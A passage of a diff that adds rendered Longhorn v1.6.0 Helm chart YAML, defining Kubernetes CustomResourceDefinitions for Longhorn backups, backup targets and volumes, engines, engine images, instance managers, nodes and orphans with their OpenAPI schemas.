messages when calling longhorn engine on listing or inspecting backups. + nullable: true + type: object + ownerID: + description: The node ID on which the controller is responsible to reconcile this backup CR. + type: string + progress: + description: The snapshot backup progress. + type: integer + replicaAddress: + description: The address of the replica that runs snapshot backup. + type: string + size: + description: The snapshot size. + type: string + snapshotCreatedAt: + description: The snapshot creation time. + type: string + snapshotName: + description: The snapshot name. + type: string + state: + description: The backup creation state. Can be "", "InProgress", "Completed", "Error", "Unknown". + type: string + url: + description: The snapshot backup URL. + type: string + volumeBackingImageName: + description: The volume's backing image name. + type: string + volumeCreated: + description: The volume creation time. + type: string + volumeName: + description: The volume name. + type: string + volumeSize: + description: The volume size. + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: backuptargets.longhorn.io +spec: + conversion: + strategy: Webhook + webhook: + clientConfig: + service: + name: longhorn-conversion-webhook + namespace: longhorn-system + path: /v1/webhook/conversion + port: 9501 + conversionReviewVersions: + - v1beta2 + - v1beta1 + group: longhorn.io + names: + kind: BackupTarget + listKind: BackupTargetList + plural: backuptargets + shortNames: + - lhbt + singular: backuptarget + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The backup target URL + jsonPath: .spec.backupTargetURL + name: URL + type: string + - description: The backup target credential secret + jsonPath: .spec.credentialSecret + name: Credential + type: string + - description: The backup target poll interval + jsonPath: .spec.pollInterval + name: LastBackupAt + type: string + - description: Indicate whether the backup target is available or not + jsonPath: .status.available + name: Available + type: boolean + - description: The backup target last synced time + jsonPath: .status.lastSyncedAt + name: LastSyncedAt + type: string + name: v1beta1 + schema: + openAPIV3Schema: + description: BackupTarget is where Longhorn stores backup target object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The backup target URL + jsonPath: .spec.backupTargetURL + name: URL + type: string + - description: The backup target credential secret + jsonPath: .spec.credentialSecret + name: Credential + type: string + - description: The backup target poll interval + jsonPath: .spec.pollInterval + name: LastBackupAt + type: string + - description: Indicate whether the backup target is available or not + jsonPath: .status.available + name: Available + type: boolean + - description: The backup target last synced time + jsonPath: .status.lastSyncedAt + name: LastSyncedAt + type: string + name: v1beta2 + schema: + openAPIV3Schema: + description: BackupTarget is where Longhorn stores backup target object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: BackupTargetSpec defines the desired state of the Longhorn backup target + properties: + backupTargetURL: + description: The backup target URL. + type: string + credentialSecret: + description: The backup target credential secret. + type: string + pollInterval: + description: The interval that the cluster needs to run sync with the backup target. + type: string + syncRequestedAt: + description: The time to request run sync the remote backup target. + format: date-time + nullable: true + type: string + type: object + status: + description: BackupTargetStatus defines the observed state of the Longhorn backup target + properties: + available: + description: Available indicates if the remote backup target is available or not. + type: boolean + conditions: + description: Records the reason on why the backup target is unavailable. + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + lastSyncedAt: + description: The last time that the controller synced with the remote backup target. + format: date-time + nullable: true + type: string + ownerID: + description: The node ID on which the controller is responsible to reconcile this backup target CR. + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: backupvolumes.longhorn.io +spec: + group: longhorn.io + names: + kind: BackupVolume + listKind: BackupVolumeList + plural: backupvolumes + shortNames: + - lhbv + singular: backupvolume + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The backup volume creation time + jsonPath: .status.createdAt + name: CreatedAt + type: string + - description: The backup volume last backup name + jsonPath: .status.lastBackupName + name: LastBackupName + type: string + - description: The backup volume last backup time + jsonPath: .status.lastBackupAt + name: LastBackupAt + type: string + - description: The backup volume last synced time + jsonPath: .status.lastSyncedAt + name: LastSyncedAt + type: string + name: v1beta1 + schema: + openAPIV3Schema: + description: BackupVolume is where Longhorn stores backup volume object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The backup volume creation time + jsonPath: .status.createdAt + name: CreatedAt + type: string + - description: The backup volume last backup name + jsonPath: .status.lastBackupName + name: LastBackupName + type: string + - description: The backup volume last backup time + jsonPath: .status.lastBackupAt + name: LastBackupAt + type: string + - description: The backup volume last synced time + jsonPath: .status.lastSyncedAt + name: LastSyncedAt + type: string + name: v1beta2 + schema: + openAPIV3Schema: + description: BackupVolume is where Longhorn stores backup volume object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: BackupVolumeSpec defines the desired state of the Longhorn backup volume + properties: + syncRequestedAt: + description: The time to request run sync the remote backup volume. + format: date-time + nullable: true + type: string + type: object + status: + description: BackupVolumeStatus defines the observed state of the Longhorn backup volume + properties: + backingImageChecksum: + description: the backing image checksum. + type: string + backingImageName: + description: The backing image name. + type: string + createdAt: + description: The backup volume creation time. + type: string + dataStored: + description: The backup volume block count. + type: string + labels: + additionalProperties: + type: string + description: The backup volume labels. + nullable: true + type: object + lastBackupAt: + description: The latest volume backup time. + type: string + lastBackupName: + description: The latest volume backup name. + type: string + lastModificationTime: + description: The backup volume config last modification time. + format: date-time + nullable: true + type: string + lastSyncedAt: + description: The last time that the backup volume was synced into the cluster. + format: date-time + nullable: true + type: string + messages: + additionalProperties: + type: string + description: The error messages when call longhorn engine on list or inspect backup volumes. + nullable: true + type: object + ownerID: + description: The node ID on which the controller is responsible to reconcile this backup volume CR. + type: string + size: + description: The backup volume size. + type: string + storageClassName: + description: the storage class name of pv/pvc binding with the volume. + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: engineimages.longhorn.io +spec: + preserveUnknownFields: false + conversion: + strategy: Webhook + webhook: + clientConfig: + service: + name: longhorn-conversion-webhook + namespace: longhorn-system + path: /v1/webhook/conversion + port: 9501 + conversionReviewVersions: + - v1beta2 + - v1beta1 + group: longhorn.io + names: + kind: EngineImage + listKind: EngineImageList + plural: engineimages + shortNames: + - lhei + singular: engineimage + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: State of the engine image + jsonPath: .status.state + name: State + type: string + - description: The Longhorn engine image + jsonPath: .spec.image + name: Image + type: string + - description: Number of resources using the engine image + jsonPath: .status.refCount + name: RefCount + type: integer + - description: The build date of the engine image + jsonPath: .status.buildDate + name: BuildDate + type: date + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: EngineImage is where Longhorn stores engine image object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: Compatibility of the engine image + jsonPath: .status.incompatible + name: Incompatible + type: boolean + - description: State of the engine image + jsonPath: .status.state + name: State + type: string + - description: The Longhorn engine image + jsonPath: .spec.image + name: Image + type: string + - description: Number of resources using the engine image + jsonPath: .status.refCount + name: RefCount + type: integer + - description: The build date of the engine image + jsonPath: .status.buildDate + name: BuildDate + type: date + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: EngineImage is where Longhorn stores engine image object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: EngineImageSpec defines the desired state of the Longhorn engine image + properties: + image: + minLength: 1 + type: string + required: + - image + type: object + status: + description: EngineImageStatus defines the observed state of the Longhorn engine image + properties: + buildDate: + type: string + cliAPIMinVersion: + type: integer + cliAPIVersion: + type: integer + conditions: + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + controllerAPIMinVersion: + type: integer + controllerAPIVersion: + type: integer + dataFormatMinVersion: + type: integer + dataFormatVersion: + type: integer + gitCommit: + type: string + incompatible: + type: boolean + noRefSince: + type: string + nodeDeploymentMap: + additionalProperties: + type: boolean + nullable: true + type: object + ownerID: + type: string + refCount: + type: integer + state: + type: string + version: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: engines.longhorn.io +spec: + group: longhorn.io + names: + kind: Engine + listKind: EngineList + plural: engines + shortNames: + - lhe + singular: engine + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The current state of the engine + jsonPath: .status.currentState + name: State + type: string + - description: The node that the engine is on + jsonPath: .spec.nodeID + name: Node + type: string + - description: The instance manager of the engine + jsonPath: .status.instanceManagerName + name: InstanceManager + type: string + - description: The current image of the engine + jsonPath: .status.currentImage + name: Image + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: Engine is where Longhorn stores engine object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The data engine of the engine + jsonPath: .spec.dataEngine + name: Data Engine + type: string + - description: The current state of the engine + jsonPath: .status.currentState + name: State + type: string + - description: The node that the engine is on + jsonPath: .spec.nodeID + name: Node + type: string + - description: The instance manager of the engine + jsonPath: .status.instanceManagerName + name: InstanceManager + type: string + - description: The current image of the engine + jsonPath: .status.currentImage + name: Image + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: Engine is where Longhorn stores engine object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: EngineSpec defines the desired state of the Longhorn engine + properties: + active: + type: boolean + backendStoreDriver: + description: 'Deprecated: Replaced by field `dataEngine`.' + type: string + backupVolume: + type: string + dataEngine: + enum: + - v1 + - v2 + type: string + desireState: + type: string + disableFrontend: + type: boolean + engineImage: + description: 'Deprecated: Replaced by field `image`.' + type: string + frontend: + enum: + - blockdev + - iscsi + - nvmf + - "" + type: string + image: + type: string + logRequested: + type: boolean + nodeID: + type: string + replicaAddressMap: + additionalProperties: + type: string + type: object + requestedBackupRestore: + type: string + requestedDataSource: + type: string + revisionCounterDisabled: + type: boolean + salvageRequested: + type: boolean + snapshotMaxCount: + type: integer + snapshotMaxSize: + format: int64 + type: string + unmapMarkSnapChainRemovedEnabled: + type: boolean + upgradedReplicaAddressMap: + additionalProperties: + type: string + type: object + volumeName: + type: string + volumeSize: + format: int64 + type: string + type: object + status: + description: EngineStatus defines the observed state of the Longhorn engine + properties: + backupStatus: + additionalProperties: + properties: + backupURL: + type: string + error: + type: string + progress: + type: integer + replicaAddress: + type: string + snapshotName: + type: string + state: + type: string + type: object + nullable: true + type: object + cloneStatus: + additionalProperties: + properties: + error: + type: string + fromReplicaAddress: + type: string + isCloning: + type: boolean + progress: + type: integer + snapshotName: + type: string + state: + type: string + type: object + nullable: true + type: object + conditions: + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + currentImage: + type: string + currentReplicaAddressMap: + additionalProperties: + type: string + nullable: true + type: object + currentSize: + format: int64 + type: string + currentState: + type: string + endpoint: + type: string + instanceManagerName: + type: string + ip: + type: string + isExpanding: + type: boolean + lastExpansionError: + type: string + lastExpansionFailedAt: + type: string + lastRestoredBackup: + type: string + logFetched: + type: boolean + ownerID: + type: string + port: + type: integer + purgeStatus: + additionalProperties: + properties: + error: + type: string + isPurging: + type: boolean + progress: + type: integer + state: + type: string + type: object + nullable: true + type: object + rebuildStatus: + additionalProperties: + properties: + error: + type: string + fromReplicaAddress: + type: string + isRebuilding: + type: boolean + progress: + type: integer + state: + type: string + type: object + nullable: true + type: object + replicaModeMap: + additionalProperties: + type: string + nullable: true + type: object + restoreStatus: + additionalProperties: + properties: + backupURL: + type: string + currentRestoringBackup: + type: string + error: + type: string + filename: + type: string + isRestoring: + type: boolean + lastRestored: + type: string + progress: + type: integer + state: + type: string + type: object + nullable: true + type: object + salvageExecuted: + type: boolean + snapshotMaxCount: + type: integer + snapshotMaxSize: + format: int64 + type: string + snapshots: + additionalProperties: + properties: + children: + additionalProperties: + type: boolean + nullable: true + type: object + created: + type: string + labels: + additionalProperties: + type: string + nullable: true + type: object + name: + type: string + parent: + type: string + removed: + type: boolean + size: + type: string + usercreated: + type: boolean + type: object + nullable: true + type: object + snapshotsError: + type: string + started: + type: boolean + storageIP: + type: string + unmapMarkSnapChainRemovedEnabled: + type: boolean + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: instancemanagers.longhorn.io +spec: + group: longhorn.io + names: + kind: InstanceManager + listKind: InstanceManagerList + plural: instancemanagers + shortNames: + - lhim + singular: instancemanager + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The state of the instance manager + jsonPath: .status.currentState + name: State + type: string + - description: The type of the instance manager (engine or replica) + jsonPath: .spec.type + name: Type + type: string + - description: The node that the instance manager is running on + jsonPath: .spec.nodeID + name: Node + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: InstanceManager is where Longhorn stores instance manager object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The data engine of the instance manager + jsonPath: .spec.dataEngine + name: Data Engine + type: string + - description: The state of the instance manager + jsonPath: .status.currentState + name: State + type: string + - description: The type of the instance manager (engine or replica) + jsonPath: .spec.type + name: Type + type: string + - description: The node that the instance manager is running on + jsonPath: .spec.nodeID + name: Node + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: InstanceManager is where Longhorn stores instance manager object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: InstanceManagerSpec defines the desired state of the Longhorn instance manager + properties: + dataEngine: + type: string + image: + type: string + nodeID: + type: string + type: + enum: + - aio + - engine + - replica + type: string + type: object + status: + description: InstanceManagerStatus defines the observed state of the Longhorn instance manager + properties: + apiMinVersion: + type: integer + apiVersion: + type: integer + proxyApiMinVersion: + type: integer + proxyApiVersion: + type: integer + currentState: + type: string + instanceEngines: + additionalProperties: + properties: + spec: + properties: + backendStoreDriver: + description: 'Deprecated: Replaced by field `dataEngine`.' + type: string + dataEngine: + type: string + name: + type: string + type: object + status: + properties: + conditions: + additionalProperties: + type: boolean + type: object + endpoint: + type: string + errorMsg: + type: string + listen: + type: string + portEnd: + format: int32 + type: integer + portStart: + format: int32 + type: integer + resourceVersion: + format: int64 + type: integer + state: + type: string + type: + type: string + type: object + type: object + nullable: true + type: object + instanceReplicas: + additionalProperties: + properties: + spec: + properties: + backendStoreDriver: + description: 'Deprecated: Replaced by field `dataEngine`.' + type: string + dataEngine: + type: string + name: + type: string + type: object + status: + properties: + conditions: + additionalProperties: + type: boolean + type: object + endpoint: + type: string + errorMsg: + type: string + listen: + type: string + portEnd: + format: int32 + type: integer + portStart: + format: int32 + type: integer + resourceVersion: + format: int64 + type: integer + state: + type: string + type: + type: string + type: object + type: object + nullable: true + type: object + instances: + additionalProperties: + properties: + spec: + properties: + backendStoreDriver: + description: 'Deprecated: Replaced by field `dataEngine`.' + type: string + dataEngine: + type: string + name: + type: string + type: object + status: + properties: + conditions: + additionalProperties: + type: boolean + type: object + endpoint: + type: string + errorMsg: + type: string + listen: + type: string + portEnd: + format: int32 + type: integer + portStart: + format: int32 + type: integer + resourceVersion: + format: int64 + type: integer + state: + type: string + type: + type: string + type: object + type: object + nullable: true + description: 'Deprecated: Replaced by InstanceEngines and InstanceReplicas' + type: object + ip: + type: string + ownerID: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: nodes.longhorn.io +spec: + preserveUnknownFields: false + conversion: + strategy: Webhook + webhook: + clientConfig: + service: + name: longhorn-conversion-webhook + namespace: longhorn-system + path: /v1/webhook/conversion + port: 9501 + conversionReviewVersions: + - v1beta2 + - v1beta1 + group: longhorn.io + names: + kind: Node + listKind: NodeList + plural: nodes + shortNames: + - lhn + singular: node + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: Indicate whether the node is ready + jsonPath: .status.conditions['Ready']['status'] + name: Ready + type: string + - description: Indicate whether the user disabled/enabled replica scheduling for the node + jsonPath: .spec.allowScheduling + name: AllowScheduling + type: boolean + - description: Indicate whether Longhorn can schedule replicas on the node + jsonPath: .status.conditions['Schedulable']['status'] + name: Schedulable + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: Node is where Longhorn stores Longhorn node object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: Indicate whether the node is ready + jsonPath: .status.conditions[?(@.type=='Ready')].status + name: Ready + type: string + - description: Indicate whether the user disabled/enabled replica scheduling for the node + jsonPath: .spec.allowScheduling + name: AllowScheduling + type: boolean + - description: Indicate whether Longhorn can schedule replicas on the node + jsonPath: .status.conditions[?(@.type=='Schedulable')].status + name: Schedulable + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: Node is where Longhorn stores Longhorn node object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: NodeSpec defines the desired state of the Longhorn node + properties: + allowScheduling: + description: Allow scheduling replicas on the node. + type: boolean + disks: + additionalProperties: + properties: + allowScheduling: + type: boolean + diskType: + enum: + - filesystem + - block + type: string + evictionRequested: + type: boolean + path: + type: string + storageReserved: + format: int64 + type: integer + tags: + items: + type: string + type: array + type: object + type: object + evictionRequested: + type: boolean + instanceManagerCPURequest: + type: integer + name: + type: string + tags: + items: + type: string + type: array + type: object + status: + description: NodeStatus defines the observed state of the Longhorn node + properties: + autoEvicting: + type: boolean + conditions: + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + diskStatus: + additionalProperties: + properties: + conditions: + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + diskType: + type: string + diskUUID: + type: string + filesystemType: + type: string + scheduledReplica: + additionalProperties: + format: int64 + type: integer + nullable: true + type: object + storageAvailable: + format: int64 + type: integer + storageMaximum: + format: int64 + type: integer + storageScheduled: + format: int64 + type: integer + type: object + description: The status of the disks on the node. + nullable: true + type: object + region: + description: The Region of the node. + type: string + snapshotCheckStatus: + description: The status of the snapshot integrity check. + properties: + lastPeriodicCheckedAt: + format: date-time + type: string + type: object + zone: + description: The Zone of the node. + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: orphans.longhorn.io +spec: + group: longhorn.io + names: + kind: Orphan + listKind: OrphanList + plural: orphans + shortNames: + - lho + singular: orphan + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The type of the orphan + jsonPath: .spec.orphanType + name: Type + type: string + - description: The node that the orphan is on + jsonPath: .spec.nodeID + name: Node + type: string + name: v1beta2 + schema: + openAPIV3Schema: + description: Orphan is where Longhorn stores orphan object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: OrphanSpec defines the desired state of the Longhorn orphaned data + properties: + nodeID: + description: The node ID on which the controller is responsible to reconcile this orphan CR. + type: string + orphanType: + description: The type of the orphaned data. Can be "replica". + type: string + parameters: + additionalProperties: + type: string + description: The parameters of the orphaned data + type: object + type: object + status: + description: OrphanStatus defines the observed state of the Longhorn orphaned data + properties: + conditions: + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + ownerID: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- 